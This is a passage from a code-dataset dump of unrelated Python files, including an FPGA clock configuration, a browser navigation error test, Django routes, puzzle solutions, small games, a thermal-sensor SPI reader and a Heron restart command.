0\n self.d58_idxm_step = 5\n self.d58_idxm_ud = 0\n self.d58_idxl_step = 4\n self.d58_idxl_ud = 1\n self.d58_idl0_step = 3\n self.d58_idl0_ud = 0\n self.d58_idl1_step = 4\n self.d58_idl1_ud = 0\n self.d58_phase_en = 1\n\n #END EXTERNAL CLOCK VARIABLES\n\n #config timing\n d14_inv = (self.d14_rst_inv<<0) + (self.d14_read_inv<<1)+ (self.d14_idxm_inv<<2)+ (self.d14_idxl_inv<<3)+ (self.d14_idl_inv<<4)\n d58_inv = (self.d58_rst_inv<<0) + (self.d58_read_inv<<1)+ (self.d58_idxm_inv<<2)+ (self.d58_idxl_inv<<3)+ (self.d58_idl_inv<<4)\n d_inv = d58_inv + ( d14_inv<<5)\n\n addr_data = self.clk_dis + (d_inv << 16)\n #self.ext_clk_reg_wr_femb( femb_addr, 21, addr_data)\n self.femb.write_reg( 21, addr_data)\n\n addr_data = self.d58_rst_oft + (self.d14_rst_oft << 16)\n #self.ext_clk_reg_wr_femb( femb_addr, 22, addr_data)\n self.femb.write_reg( 22, addr_data)\n\n addr_data = self.d58_rst_wdt + (self.d14_rst_wdt << 16)\n #self.ext_clk_reg_wr_femb( femb_addr, 23, addr_data)\n self.femb.write_reg( 23, addr_data)\n\n addr_data = self.d58_read_oft + (self.d14_read_oft << 16)\n #self.ext_clk_reg_wr_femb( femb_addr, 24, addr_data)\n self.femb.write_reg( 24, addr_data)\n\n addr_data = self.d58_read_wdt + (self.d14_read_wdt << 16)\n #self.ext_clk_reg_wr_femb( femb_addr, 25, addr_data)\n self.femb.write_reg( 25, addr_data)\n\n addr_data = self.d58_idxm_oft + (self.d14_idxm_oft << 16)\n #self.ext_clk_reg_wr_femb( femb_addr, 26, addr_data)\n self.femb.write_reg( 26, addr_data)\n\n addr_data = self.d58_idxm_wdt + (self.d14_idxm_wdt << 16)\n #self.ext_clk_reg_wr_femb( femb_addr, 27, addr_data)\n self.femb.write_reg( 27, addr_data)\n\n addr_data = self.d58_idxl_oft + (self.d14_idxl_oft << 16)\n #self.ext_clk_reg_wr_femb( femb_addr, 28, addr_data)\n self.femb.write_reg( 28, addr_data)\n\n addr_data = self.d58_idxl_wdt + (self.d14_idxl_wdt << 16)\n #self.ext_clk_reg_wr_femb( femb_addr, 29, addr_data)\n self.femb.write_reg( 29, addr_data)\n\n addr_data = self.d58_idl0_oft + (self.d14_idl0_oft << 16)\n #self.ext_clk_reg_wr_femb( femb_addr, 30, addr_data)\n self.femb.write_reg( 30, addr_data)\n\n addr_data = self.d58_idl0_wdt + (self.d14_idl0_wdt << 16)\n #self.ext_clk_reg_wr_femb( femb_addr, 31, addr_data)\n self.femb.write_reg( 31, addr_data)\n\n addr_data = self.d58_idl1_oft + (self.d14_idl1_oft << 16)\n #self.ext_clk_reg_wr_femb( femb_addr, 32, addr_data)\n self.femb.write_reg( 32, addr_data)\n\n addr_data = self.d58_idl1_wdt + (self.d14_idl1_wdt << 16)\n #self.ext_clk_reg_wr_femb( femb_addr, 33, addr_data)\n self.femb.write_reg( 33, addr_data)\n\n #config phase \n for i in range(4):\n addr_data = self.d14_read_step + (self.d14_idxm_step <<16)\n #self.ext_clk_reg_wr_femb( femb_addr, 35, addr_data)\n self.femb.write_reg( 35, addr_data)\n\n addr_data = self.d14_idxl_step + (self.d14_idl0_step <<16)\n #self.ext_clk_reg_wr_femb( femb_addr, 36, addr_data)\n self.femb.write_reg( 36, addr_data)\n \n self.d14_phase_en = self.d14_phase_en ^ 1\n d14_ud = self.d14_read_ud + (self.d14_idxm_ud<<1) + (self.d14_idxl_ud<<2)+ (self.d14_idl0_ud<<3)+ (self.d14_idl1_ud<<4) + (self.d14_phase_en <<15)\n addr_data = self.d14_idl1_step + (d14_ud<<16)\n #self.ext_clk_reg_wr_femb( femb_addr, 37, addr_data)\n self.femb.write_reg( 37, addr_data)\n\n addr_data = self.d58_read_step + (self.d58_idxm_step <<16)\n #self.ext_clk_reg_wr_femb( femb_addr, 38, addr_data)\n self.femb.write_reg( 38, addr_data)\n\n addr_data = self.d58_idxl_step + (self.d58_idl0_step <<16)\n #self.ext_clk_reg_wr_femb( femb_addr, 39, addr_data)\n self.femb.write_reg( 39, addr_data)\n \n self.d58_phase_en = self.d58_phase_en ^ 1\n d58_ud = self.d58_read_ud + (self.d58_idxm_ud<<1) + (self.d58_idxl_ud<<2)+ (self.d58_idl0_ud<<3)+ (self.d58_idl1_ud<<4) + (self.d58_phase_en <<15)\n addr_data = self.d58_idl1_step + (d58_ud <<16)\n #self.ext_clk_reg_wr_femb( femb_addr, 40, addr_data)\n self.femb.write_reg( 40, addr_data)\n","sub_path":"femb_python/configuration/configs/wib_sbnd_v109_femb_protodune_v323.py","file_name":"wib_sbnd_v109_femb_protodune_v323.py","file_ext":"py","file_size_in_byte":49796,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"504005891","text":"import pytest\n\nfrom . import navigate_and_assert\n\npytestmark = pytest.mark.asyncio\n\n\n@pytest.mark.parametrize(\n \"url\",\n [\n \"thisprotocoldoesnotexist://\",\n \"http://doesnotexist.localhost/\",\n \"http://localhost:0\",\n ],\n ids=[\n \"protocol\",\n \"host\",\n \"port\",\n ]\n)\nasync def test_invalid_address(bidi_session, new_tab, url):\n await navigate_and_assert(bidi_session, new_tab, url, expected_error=True)\n\n\nasync def test_invalid_content_encoding(bidi_session, new_tab, inline):\n await navigate_and_assert(\n bidi_session,\n new_tab,\n f\"{inline('
foo')}&pipe=header(Content-Encoding,gzip)\",\n expected_error=True\n )\n","sub_path":"webdriver/tests/bidi/browsing_context/navigate/error.py","file_name":"error.py","file_ext":"py","file_size_in_byte":701,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"156585968","text":"\nfrom django.urls import include, path\nfrom django.conf.urls import url\n\nfrom rest_framework.routers import DefaultRouter\nfrom .views import (CategoryViewSet, WarehouseViewSet, ItemViewSet, VendorViewSet, PurchaseInvoiceViewSet,\n SalesInvoiceViewSet, StockTransferViewSet, StockAdjustmentViewSet,\n SalesInvoiceConfirmPickupView, CurrentStockForWarehouseReportCSV,\n CurrentStockForWarehouseReportJSON)\n\nrouter = DefaultRouter()\nrouter.register(r'categories', CategoryViewSet, base_name='categories')\nrouter.register(r'warehouses', WarehouseViewSet, base_name='warehouses')\nrouter.register(r'vendors', VendorViewSet, base_name='vendors')\nrouter.register(r'items', ItemViewSet, base_name='items')\nrouter.register(r'purchase-invoices', PurchaseInvoiceViewSet, base_name='purchase_invoices')\nrouter.register(r'sales-invoices', SalesInvoiceViewSet, base_name='sales_invoices')\nrouter.register(r'stock-transfers', StockTransferViewSet, base_name='stock_transfers')\nrouter.register(r'stock-adjustments', StockAdjustmentViewSet, base_name='stock_adjustments')\n\nurlpatterns = [\n path('sales-pickup//', SalesInvoiceConfirmPickupView.as_view(), 'sales-invoice-confirm-pickup'),\n url(r'^', include(router.urls)),\n path('reports/', include([\n path('current-stock/', include([\n path('json/', CurrentStockForWarehouseReportJSON.as_view(), name='report-current-stock-json'),\n path('csv/', CurrentStockForWarehouseReportCSV.as_view(), name='report-current-stock-csv'),\n ]))\n ])),\n]\n","sub_path":"inventorize/inventory/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1577,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"2939452","text":"from math import sqrt\nfrom common import Watch\n\ndef is_triangle(n):\n root = int(sqrt(8 * n + 1))\n return root * root == 8 * n + 1 and (root - 1) % 2 == 0\n\nWatch.start()\nwords = [w.strip(\"\\\"\") for w in open(\"words.txt\").read().split(\",\")]\nprint(sum(1 for w in words if is_triangle(sum(ord(s) - 64 for s in w))))\nWatch.stop()","sub_path":"1_49/src/task42/s42.py","file_name":"s42.py","file_ext":"py","file_size_in_byte":329,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"201144871","text":"################################################################\n# Author : yiorgosynkl (find me in Github: https://github.com/yiorgosynkl)\n# Date created : 20210105\n# Problem link : https://leetcode.com/problems/remove-duplicates-from-sorted-list-ii/\n################################################################\n\n# Definition for singly-linked list.\n# class ListNode:\n# def __init__(self, val=0, next=None):\n# self.val = val\n# self.next = next\n\nclass Solution:\n# # removes duplicates, still holds one\n# def deleteDuplicates(self, head: ListNode) -> ListNode:\n# ptr = head\n# while ptr and ptr.next:\n# if ptr.next and ptr.next.val == ptr.val:\n# ptr.next = ptr.next.next\n# else:\n# ptr = ptr.next\n# return head\n \n # @yiorgosynkl, removes all duplicates\n def deleteDuplicates(self, head: ListNode) -> ListNode:\n back = out = ListNode(-101, head)\n front = out.next\n while back and front:\n if front.next and front.val == front.next.val:\n while front.next and front.val == front.next.val:\n front = front.next\n front = front.next\n back.next = front\n else:\n back = front\n front = front.next\n return out.next\n \n \n def deleteDuplicates(self, head: ListNode) -> ListNode:\n # sentinel\n sentinel = ListNode(0, head)\n\n # predecessor = the last node \n # before the sublist of duplicates\n pred = sentinel\n \n while head:\n # if it's a beginning of duplicates sublist \n # skip all duplicates\n if head.next and head.val == head.next.val:\n # move till the end of duplicates sublist\n while head.next and head.val == head.next.val:\n head = head.next\n # skip all duplicates\n pred.next = head.next \n # otherwise, move predecessor\n else:\n pred = pred.next \n \n # move forward\n head = head.next\n \n return sentinel.next \n \n \n ","sub_path":"30_day_challenge_2021_January/82_remove_duplicates_from_sorted_list_ii.py","file_name":"82_remove_duplicates_from_sorted_list_ii.py","file_ext":"py","file_size_in_byte":2280,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"50936023","text":"from PIL import Image, ImageDraw, ImageFont\n\n#Daftar font dan kertas beserta properti nya\nbhn = {\n 'gambar':{1:{'nama':'bahan_1.jpg', 'baris': 25, 'perEnter':92, 'samping':340, 'atas':540}, #succes\n 2:{'nama':'bahan_2(1).jpg', 'baris': 25, 'perEnter':104, 'samping':338, 'atas':570}, #succes\n 3:{'nama':'bahan_3.jpg', 'baris': 31, 'perEnter':92, 'samping':280, 'atas':505}, #succes\n 4:{'nama':'bahan_4(3).jpg', 'baris': 31, 'perEnter':94, 'samping':315, 'atas':515}, #succes\n 5:{'nama':'bahan_5.jpg', 'baris': 31, 'perEnter':95, 'samping':325, 'atas':555}, #succes\n },\n \n 'font':{1:{'nama':'font1.ttf', 'ukuran':50, 'warna':(0, 0, 0)}, #succes\n 2:{'nama':'font2.ttf', 'ukuran':70, 'warna':(7, 6, 6)}, #succes\n }}\n\n#Untuk user memilih Font dan Kertas \n\nfor gam in bhn['gambar']:\n print(gam,'.',bhn['gambar'][gam]['nama'],'berjumlah',bhn['gambar'][gam]['baris'],'baris')\n\nmilihK = int(input('\\nPilih kertas : '))\n\nif milihK not in bhn['gambar']:\n milihK = 1\n print('Pilihan anda tidak ada, otomatis diubah ke kertas 1')\n\nfor fon in bhn['font']:\n print(fon,'.',bhn['font'][fon]['nama'],'Ukuran :',bhn['font'][fon]['ukuran'])\n\nmilihF = int(input('\\nPilih Font : '))\n\nif milihF not in bhn['font']:\n milihF = 1\n print('Pilihan anda tidak ada, otomatis diubah ke Font 1')\n\npilihKertas = bhn['gambar'][milihK]\ntulisan = bhn['font'][milihF]\n\n#########################################################\n\nkertas = Image.open('bahan/'+pilihKertas['nama']) #membuka file kertas yang dipilih\nd1 = ImageDraw.Draw(kertas)\nmyfont = ImageFont.truetype('bahan/'+tulisan['nama'], tulisan['ukuran']) #membuka file font yang dipilih\n\ndef proccesText(tex):\n kirim = \"\"\n enter = tex.split('\\n') #Memisahkan text per baris(enter)\n jumlahEnter = len(enter) #jumlah baris\n if jumlahEnter > pilihKertas['baris']:\n kirim = f\"Teks tidak boleh lebih dari {pilihKertas['baris']} baris\"\n else:\n awalAtas = pilihKertas['atas']\n for tt in enter: #Mengulang text yang sudah dipisah barisnya\n d1.text((pilihKertas['samping'],awalAtas), tt, font=myfont, fill = tulisan['warna']) #proces menulis\n awalAtas += pilihKertas['perEnter'] #Memberi jarak ke baris baru\n \n lokasi = \"Hasil.jpg\"\n kertas.save(lokasi) #file hasil\n kirim = f\"Succes disimpan di {lokasi}\\nJumlah Baris Teks : {jumlahEnter}\"\n return kirim\n\n\n#Membuka file Tulisan.txt tempat tulisan kalian\nwith open('Tulisan.txt', 'r') as viewText:\n textUser = viewText.read()\nproces = proccesText(textUser)\nprint(proces)\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2643,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"285051081","text":"import torch\nimport torch.nn.functional as f\nfrom PIL import Image\nimport os\nimport numpy as np\nimport torchvision as tv\nimport torchvision.transforms.functional as trans\nfrom torch.utils import data\n\n\n#https://pytorch.org/vision/stable/_modules/torchvision/models/segmentation/segmentation.html\ndef getModel(modelName):\n if modelName== 'mobile':\n model = tv.models.segmentation.deeplabv3_mobilenet_v3_large(pretrained=True)\n model.classifier[4] = torch.nn.Conv2d(256, 2, kernel_size=(1, 1))\n elif modelName == 'deeplab101':\n model = torch.hub.load('pytorch/vision', 'deeplabv3_resnet101', pretrained=True)\n model.classifier[4] = torch.nn.Conv2d(256, 2, kernel_size=(1, 1))\n model.aux_classifier[4] = torch.nn.Conv2d(256, 2, kernel_size=(1, 1))\n elif modelName == 'deeplab50':\n model = torch.hub.load('pytorch/vision', 'deeplabv3_resnet50', pretrained=True)\n model.classifier[4] = torch.nn.Conv2d(256, 2, kernel_size=(1, 1))\n model.aux_classifier[4] = torch.nn.Conv2d(256, 2, kernel_size=(1, 1))\n\n for param in model.parameters():\n param.requires_grad = True\n\n return model.cuda()\n\ndef cross_entropy(inp, tar, reduction = 'sum'):\n x = inp.transpose(1, 2).transpose(2, 3).contiguous().view(-1, 2)\n y = torch.squeeze(tar).view(-1)\n return f.cross_entropy(x, y, reduction=reduction)\n\nclass ImageLoader(data.Dataset):\n def __init__(self, testDir = None, imgDirTrain = None, gtDirTrain = None):\n self.forTraining = False\n if imgDirTrain:\n self.forTraining = True\n imgDir = imgDirTrain\n self.gtDirs = np.asarray([os.path.join(gtDirTrain, filename) for filename in os.listdir(gtDirTrain)])\n else:\n imgDir = testDir\n self.ids = np.asarray([os.path.join(imgDir, filename)for filename in os.listdir(imgDir)])\n \n def augment(self, image, gt):\n #https://pytorch.org/vision/stable/transforms.html\n augmentor = tv.transforms.Compose([\n tv.transforms.RandomGrayscale(0.1),\n tv.transforms.ColorJitter(0.25, 0.26, 0.22, 0.24),\n tv.transforms.ToTensor(),\n tv.transforms.Normalize((0.485, 0.456, 0.406), (0.229, 0.224, 0.225))\n ])\n image = augmentor(image)\n \n gt = trans.to_tensor(gt)\n gt = torch.where(gt < 0.7, torch.zeros_like(gt), torch.ones_like(gt))\n gt = gt.to(torch.int64)\n return image, gt\n\n def __getitem__(self, index):\n image = Image.open(self.ids[index])\n _item_ = dict()\n if not self.forTraining:\n # https://pytorch.org/hub/pytorch_vision_deeplabv3_resnet101/\n normalize = tv.transforms.Compose([tv.transforms.ToTensor(), tv.transforms.Normalize((0.485, 0.456, 0.406), (0.229, 0.224, 0.225))])\n normalized = normalize(image)\n _item_.update([(\"image\", normalized)])\n # print(_item_[\"image\"].size)\n return _item_\n\n gt = Image.open(self.gtDirs[index])\n image, gt = self.augment(image, gt)\n\n _item_.update([(\"gt\", gt),(\"image\", image)])\n return _item_\n\n def __len__(self):\n return len(self.ids)\n\n","sub_path":"helper.py","file_name":"helper.py","file_ext":"py","file_size_in_byte":3193,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"214092247","text":"memory = list(map(int, input().split(',')))\npointer = 0\n\ndef get_params(count,instruct):\n global pointer\n param_modes = list(map(int, instruct[:-2]))\n param_modes.reverse()\n params = [memory[pointer+i] for i in range(1,count+1)]\n for i in range(len(param_modes)):\n if param_modes[i] == 0 and len(params) > i:\n params[i] = memory[params[i]]\n pointer += count + 1\n return params\n\nout = ''\nwhile True:\n instruct = f'{memory[pointer]:04d}'\n opcode = int(instruct[-2:])\n if opcode in [1,2,7,8]:\n x,y,z = get_params(3, instruct)\n if opcode == 1:\n memory[z] = x + y\n elif opcode == 2:\n memory[z] = x * y\n elif opcode == 7:\n memory[z] = 1 if x < y else 0\n elif opcode == 8:\n memory[z] = 1 if x == y else 0\n elif opcode == 3:\n memory[memory[pointer+1]] = 5\n pointer += 2\n elif opcode == 4:\n x = get_params(1, instruct)\n out += str(x[0])\n elif opcode in [5, 6]:\n x,y = get_params(2, instruct)\n if x != 0 and opcode == 5:\n pointer = y\n elif x == 0 and opcode == 6:\n pointer = y\n elif opcode == 99:\n break\n else:\n print('opcode error', opcode)\n break\nprint(int(out))","sub_path":"day5p2.py","file_name":"day5p2.py","file_ext":"py","file_size_in_byte":1152,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"26766269","text":"import tbat\nimport logging\nimport pickle\n\nlogging.basicConfig(level=logging.INFO)\n\ndata_folder = 'cached_data/'\n\n\nclass Team(object):\n\n def __init__(self, results):\n \"\"\"Return a Team object corresponding to the specified team\"\"\"\n self.website = results['website']\n self.nickname = results['nickname']\n self.city = results['locality']\n self.region = results['region']\n self.country = results['country_name']\n self.location = results['location']\n self.team_number = results['team_number']\n self.name = results['name']\n self.rookie_year = results['rookie_year']\n self.motto = results['motto']\n self.key = results['key']\n self.years_active = tbat.get_team_years_participated(results['team_number'])\n events = []\n temp_events = tbat.get_team_event_history(results['team_number'])\n for event in temp_events:\n events.append(event['key'])\n self.event_history = events\n self.award_history = tbat.get_team_awards_history(results['team_number'])\n\n\nclass Event(object):\n\n def __init__(self, results):\n self.name = results['name']\n self.type_const = results['event_type']\n self.district_const = results['event_district']\n # # self.facebook_eid = results['facebook_eid']\n self.event_code = results['event_code']\n self.week = results['week']\n self.start_date = results['start_date']\n self.location = results['location']\n self.event_type = results['event_type_string']\n self.alliances = results['alliances']\n self.end_date = results['end_date']\n self.key = results['key']\n self.short_name = results['short_name']\n self.website = results['website']\n self.webcast = results['webcast']\n self.venue_address = results['venue_address']\n self.year = results['year']\n self.district = results['event_district_string']\n self.official = results['official']\n self.timezone = results['timezone']\n event_teams = []\n teams_ = tbat.get_event_teams(self.key)\n for t in teams_:\n event_teams.append(t['team_number'])\n self.teams = event_teams\n\n\n\ndef update_event_keys():\n event_keys = {}\n for year in range(1992, tbat.current_year + 1):\n event_keys[year] = []\n events = tbat.get_events_by_year(year)\n for event in events:\n event_keys[year].append(event['key']) \n with open(data_folder + 'event_keys.p', 'wb') as file:\n pickle.dump(event_keys, file)\n return event_keys\n\n\ndef load_event_keys():\n with open(data_folder + 'event_keys.p', 'rb') as file:\n event_keys = pickle.load(file)\n return event_keys\n\n\ndef update_individual_event(event_key):\n \"\"\"Fetches event info about specified event.\"\"\"\n # Get info about event\n e = tbat.get_event_info(event_key)\n # Create event object\n event = Event(e)\n filename = str(event_key) + '.p'\n with open(data_folder + filename, 'wb') as file:\n pickle.dump(event, file)\n return event\n\n\ndef load_individual_event(event_key):\n filename = str(event_key) + '.p'\n with open(data_folder + filename, 'rb') as file:\n event = pickle.load(file)\n return event\n\n\ndef update_all_teams(test=''):\n \"\"\"Fetches all team info. Do only as needed.\"\"\"\n # Get all teams\n if(test == 'test'):\n all_teams = tbat.get_team_list(0)\n else:\n all_teams = tbat.get_all_teams()\n\n # Create objects\n teams = {}\n for team in all_teams:\n teams[team['team_number']] = Team(team)\n logging.info('%s complete' % team['team_number'])\n with open(data_folder + 'all_teams.p', 'wb') as file:\n pickle.dump(teams, file)\n return teams\n\n\ndef load_all_teams():\n \"\"\"Loads the save team info. Remember to import the Team class\"\"\"\n with open(data_folder + 'all_teams.p', 'rb') as file:\n teams = pickle.load(file)\n return teams\n\n\n# Test below this line\nif __name__ == \"__main__\":\n # bri = load_individual_event('2016njbri')\n # print(dir(bri))\n all_events = update_event_keys()\n print(all_events[2016])\n","sub_path":"tbat2.py","file_name":"tbat2.py","file_ext":"py","file_size_in_byte":4175,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"603892937","text":"#!/usr/bin/python3\n# -*- coding: utf-8 -*-\n\ndef get(prompt, allow_empty=False):\n try:\n r = input(prompt)\n except EOFError:\n print('')\n return get(prompt)\n except KeyboardInterrupt:\n print('')\n exit()\n else: return r if r != '' or allow_empty else get(prompt)\n\ndef print_grid(grid):\n r = ' ABCDEFGHIJ'\n for i, y in enumerate(grid):\n r += '\\n' + ' ' * (i + 1 < 10) + str(i + 1)\n for x in y:\n r += x\n print(r)\n\ndef place_ship(g, l, ax, x, y):\n if l:\n if g[y][x] == '.':\n if ax[0]:\n place_ship(g, l - 1, ax, x + 1, y)\n elif ax[1]:\n place_ship(g, l - 1, ax, x, y + 1)\n g[y][x] = '@'\n \n #for j in range(y, y + (ax[1] * l or 1)):\n # for i in range(x, x + (ax[0] * l or 1)):\n # grid[j][i] = '@'\n\ngrid = [['.' for _ in range(10)] for _ in range(10)]\n\nlist_ships = [2, 3, 3, 4, 5]\n\nwhile list_ships:\n print_grid(grid)\n print(list_ships)\n sh = int(get('Choose a ship: '))\n _axis = get('Which axis ? [h]orizontal/[v]ertical ')\n if _axis in ('H', 'h'):\n axis = [1, 0]\n elif _axis in ('V', 'v'):\n axis = [0, 1]\n c = get('Tile ? (example: H7) ')\n try:\n place_ship(grid, sh, axis, 'ABCDEFGHIJ'.find(c[0].upper()), int(c[1:]) - 1)\n except ValueError:\n continue\n list_ships.remove(b)\nprint_grid(grid)\n","sub_path":"battleship.py","file_name":"battleship.py","file_ext":"py","file_size_in_byte":1426,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"212706813","text":"import time\nimport spidev\nimport RPi.GPIO as GPIO\nimport curses\n\n#curses_init\nstdscr = curses.initscr()\ncurses.noecho()\ncurses.cbreak()\n\n#GPIO_init\n#Using SS_PIN is 11\nGPIO.setmode(GPIO.BOARD)\nGPIO.setup(11,GPIO.OUT)\nGPIO.output(11,True)\n\n#SPI_init\nspi = spidev.SpiDev()\nspi.open(0,0)\nspi.mode = 0b11\n\n#MSB <-> LSB\ndef bit_rev(v):\n\ta = 8*[0]\n\ta[0] = v & 0b00000001\n\ta[1] = v & 0b00000010\n\ta[2] = v & 0b00000100\n\ta[3] = v & 0b00001000\n\ta[4] = v & 0b00010000\n\ta[5] = v & 0b00100000\n\ta[6] = v & 0b01000000\n\ta[7] = v & 0b10000000\n\n\ti = 1\n\tr = 0\n\tfor s in a:\n\t\tif s != 0:\n\t\t\tr+= pow(2,8-i)\n\t\ti+=1\t\n\n\treturn r\n\n#Send start command[0x80,0x01,0x00,0x81]\ndef send_start_command():\n\tfcs = 0x80^0x01^0x00\n\tstart_command = [0x80,0x01,0x00,fcs]\n\t\n\tGPIO.output(11,False)\n\n\ttime.sleep(0.001)\n\n\tfor v in start_command:\n\t\tspi.writebytes([bit_rev(v)])\n\n\ttime.sleep(0.001)\n\n\tres = spi.readbytes(5)\n\n\t#time.sleep(0.001)\n\n\tGPIO.output(11,True)\n\n\ttime.sleep(0.001)\n\n\ti = 0\n\tres_rev = 5*[0]\n\tfor v in res:\n\t\tres_rev[i] = bit_rev(v)\n\t\ti += 1\n\n\treturn res_rev\n\n#Send request command[0x82,0x01,0x00,0x83]\ndef send_request_command():\n\tfcs = 0x82^0x01^0x00\n\trequest_command = [0x82,0x01,0x00,fcs]\n\n\tGPIO.output(11,False)\n\n\ttime.sleep(0.001)\n\n\tfor v in request_command:\n\t\tspi.writebytes([bit_rev(v)])\n\n\ttime.sleep(0.001)\n\n\tres = spi.readbytes(524)\n\n\ttime.sleep(0.001)\n\n\tGPIO.output(11,True)\n\n\t#time.sleep(0.001)\n\n\ti = 0\n\tres_rev = 524*[0]\n\tfor v in res:\n\t\tres_rev[i] = bit_rev(v)\n\t\ti += 1\n\n\treturn res_rev\n\ntry:\n\tresp_start = send_start_command()\n\twhile True:\n\t\tstdscr.erase()\n\t\tstdscr.addstr(0,0,\"responce of start command:\" + hex(resp_start[0]) + \",\" + hex(resp_start[1]) + \",\" + hex(resp_start[2]) + \",\" + hex(resp_start[3]))\n\t\tresp_request = send_request_command()\n\t\tlen = resp_request[2] + resp_request[3]*256\n\t\tvcc = (resp_request[4] + resp_request[5]*256) * 0.015625 \n\t\tt = (resp_request[6] + resp_request[7]*256) * 0.03125\n\t\tnum = resp_request[9] + resp_request[10]*256\n\t\tstdscr.addstr(1,0,\"responce of request command:\")\n\t\tstdscr.addstr(2,0,\"CMD:\" + hex(resp_request[0]))\n\t\tstdscr.addstr(3,0,\"RESP:\" + hex(resp_request[1]))\n\t\tstdscr.addstr(4,0,\"LEN:\" + str(len))\n\t\tstdscr.addstr(5,0,\"VCC:\" + str(vcc))\n\t\tstdscr.addstr(6,0,\"TEMP:\" + str(t))\n\t\tstdscr.addstr(7,0,\"SIDE:\" + hex(resp_request[8]))\n\t\tstdscr.addstr(8,0,\"NUM:\" + str(num))\n\t\ti = 0\n\t\toffset = 11\n\t\th = 9-2\n\t\tw = 0\n\t\ttemp = \"\"\n\t\twhile i < 512:\n\t\t\tif i%32 == 0:\n\t\t\t\th+=2\n\t\t\t\ttemp = \"\"\n\t\t\ttemp += \"{0:0<8}\".format((resp_request[i+offset]+resp_request[i+offset+1]*256)*0.03125) + \" \"\n\t\t\tstdscr.addstr(h, 0, temp)\n\t\t\ti += 2\n\t\tstdscr.refresh()\n\t\ttime.sleep(0.5)\n\nexcept KeyboardInterrupt:\n\tspi.close()\n\tGPIO.cleanup()\n\tcurses.nocbreak()\n\tcurses.echo()\n\tcurses.endwin()\n","sub_path":"D6T-1616L-06_OutputConsole.py","file_name":"D6T-1616L-06_OutputConsole.py","file_ext":"py","file_size_in_byte":2701,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"228352406","text":"from blackjack import *\nfrom card_deck import *\n\nnew_BJ = Blackjack()\n\nwhile True:\n new_BJ.start()\n current_player = 0\n # player plays\n while current_player < new_BJ.player_number:\n print(new_BJ.display_specific_player_hand(current_player))\n more_card = input(\"More cards?\")\n if more_card == \"No\" or \"no\":\n current_player += 1\n print()\n else:\n new_BJ.adjust_player_hand(current_player)\n print(new_BJ.display_specific_player_hand(current_player))\n print(new_BJ.display_player_hand())\n print()\n print(new_BJ.player_result())\n print()\n print(new_BJ.print_player_score())\n print()\n continue_or_not = input(\"Next round?\" )\n if continue_or_not == \"Yes\" or \"yes\":\n continue\n else:\n print(\"Bye! Have a good dream!\")\n break\n\n\n","sub_path":"Projects/task2/play_blackjack_multi.py","file_name":"play_blackjack_multi.py","file_ext":"py","file_size_in_byte":849,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"260130558","text":"# Copyright 2016 Twitter. All rights reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n''' restart.py '''\nimport traceback\nfrom heron.common.src.python.utils.log import Log\nimport heron.tools.cli.src.python.args as args\nimport heron.tools.cli.src.python.execute as execute\nimport heron.tools.cli.src.python.jars as jars\nimport heron.tools.common.src.python.utils.config as config\n\n\ndef create_parser(subparsers):\n '''\n :param subparsers:\n :return:\n '''\n parser = subparsers.add_parser(\n 'restart',\n help='Restart a topology',\n usage=\"%(prog)s [options] cluster/[role]/[env] [container-id]\",\n add_help=False)\n\n args.add_titles(parser)\n args.add_cluster_role_env(parser)\n args.add_topology(parser)\n\n parser.add_argument(\n 'container-id',\n nargs='?',\n type=int,\n default=-1,\n help='Identifier of the container to be restarted')\n\n args.add_config(parser)\n args.add_verbose(parser)\n\n parser.set_defaults(subcommand='restart')\n return parser\n\n\n# pylint: disable=unused-argument\ndef run(command, parser, cl_args, unknown_args):\n '''\n :param command:\n :param parser:\n :param cl_args:\n :param unknown_args:\n :return:\n '''\n topology_name = cl_args['topology-name']\n try:\n container_id = cl_args['container-id']\n\n new_args = [\n \"--cluster\", cl_args['cluster'],\n \"--role\", cl_args['role'],\n \"--environment\", cl_args['environ'],\n \"--heron_home\", config.get_heron_dir(),\n \"--config_path\", cl_args['config_path'],\n \"--override_config_file\", cl_args['override_config_file'],\n \"--release_file\", config.get_heron_release_file(),\n \"--topology_name\", topology_name,\n \"--command\", command,\n \"--container_id\", str(container_id)\n ]\n\n lib_jars = config.get_heron_libs(jars.scheduler_jars() + jars.statemgr_jars())\n\n # invoke the runtime manager to kill the topology\n execute.heron_class(\n 'com.twitter.heron.scheduler.RuntimeManagerMain',\n lib_jars,\n extra_jars=[],\n args=new_args\n )\n\n except Exception as ex:\n Log.debug(traceback.format_exc(ex))\n Log.error('Failed to restart topology \\'%s\\'' % topology_name)\n return False\n\n Log.info('Successfully restarted topology \\'%s\\'' % topology_name)\n return True\n","sub_path":"heron/tools/cli/src/python/restart.py","file_name":"restart.py","file_ext":"py","file_size_in_byte":2802,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"14132299","text":"#思想很重要，就是将高阶看做是新的维度，计算后当做一阶线性来处理即可。\nimport numpy as np\nfrom sklearn.preprocessing import 